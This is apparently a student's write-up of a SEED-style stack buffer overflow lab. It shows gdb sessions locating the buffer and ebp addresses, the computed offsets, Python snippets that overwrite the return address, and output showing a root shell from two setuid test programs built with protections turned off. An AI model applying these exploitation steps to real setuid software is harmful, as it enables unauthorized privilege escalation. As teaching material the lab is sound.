- **Lab Environment Setup**

```
[07/18/22]seed@VM:~/.../hw2$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[07/18/22]seed@VM:~/.../hw2$ sudo ln -sf /bin/zsh /bin/sh
[07/18/22]seed@VM:~/.../hw2$ make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg sta
ck.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg sta
ck.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
```

Task 1:

- **gdb command**

```
[07/18/22]seed@VM:~/.../hw2$ gdb stack-L1-dbg
```

- **Set a breakpoint**

```
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 13.
```

- **Start executing (I typed command 'next' after this. Since its output is so large and similar with this, i did't put it into document)**

```
Starting program: /home/seed/Desktop/hw2/stack-L1-dbg
Input size: 0
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb48 --> 0x0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf30 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcf38 --> 0xffffd168 --> 0x0
ESP: 0xffffcb2c --> 0x565563ee (<dummy_function+62>:    add    esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562a4 <frame_dummy+4>:  jmp    0x56556200 <register_tm_clones>
   0x565562a9 <__x86.get_pc_thunk.dx>:  mov    edx,DWORD PTR [esp]
   0x565562ac <__x86.get_pc_thunk.dx+3>:        ret
=> 0x565562ad <bof>:    endbr32
   0x565562b1 <bof+4>:  push   ebp
   0x565562b2 <bof+5>:  mov    ebp,esp
   0x565562b4 <bof+7>:  push   ebx
   0x565562b5 <bof+8>:  sub    esp,0x74
[--------------------------------------stack-------------------------------------]
0000| 0xffffcb2c --> 0x565563ee (<dummy_function+62>:   add    esp,0x10)
0004| 0xffffcb30 --> 0xffffcf53 --> 0x456
0008| 0xffffcb34 --> 0x0
0012| 0xffffcb38 --> 0x3e8
0016| 0xffffcb3c --> 0x565563c3 (<dummy_function+19>:   add    eax,0x2bf5)
0020| 0xffffcb40 --> 0x0
0024| 0xffffcb44 --> 0x0
0028| 0xffffcb48 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xffffcf53 "V\004") at stack.c:13
```

- **Get the ebp value and buffer's address**

```
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb28
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffcabc
```

- **Get difference (so offset is 108+4 = 112)**

```
gdb-peda$ p/d 0xffffcb28-0xffffcabc
$3 = 108
```

- **Calculate the offset and ret, rewrite the python code (exploit-L1.py)**

```
offset = 112 # ebp value - buffer address + 4
ret = 0xffffcb28 + 116 # ebp value + offset + 4
```

- **Last, create the badfile (with exploit-L1.py) and launc the attack (with stack-L1). Then I am in root shell!**

```
[07/18/22]seed@VM:~/.../hw2$ ./stack-L1
Input size: 517
  id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
  whoami
root
# 
```

Task 2:

- **gdb command (like task 1, run gdb command with stack-L2-gdb and commands "b foo", "run" and "next". After this, ebp value is same with task 1. I dont know buffer size)**

```
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb28
```

- **After this, rewrite exploit-L2.py with this ebp value and other statements.**

```
ret = 0xffffcb28 + 200
# it must be >= 200 to be guarantied because we know this number is between 100-200
# and if we put there a number >= 200 it definitely works

L = 4
for offset in range (100, 200, L):
  content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
```

- **Last, create the badfile (with exploit-L2.py) and launc the attack (with stack-L2). Then I am in root shell without the knowledge of buffer size!**

```
[07/18/22]seed@VM:~/.../hw2$ ./exploit-L2.py
[07/18/22]seed@VM:~/.../hw2$ ./stack-L2
Input size: 517
  id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
  whoami
root
# 
```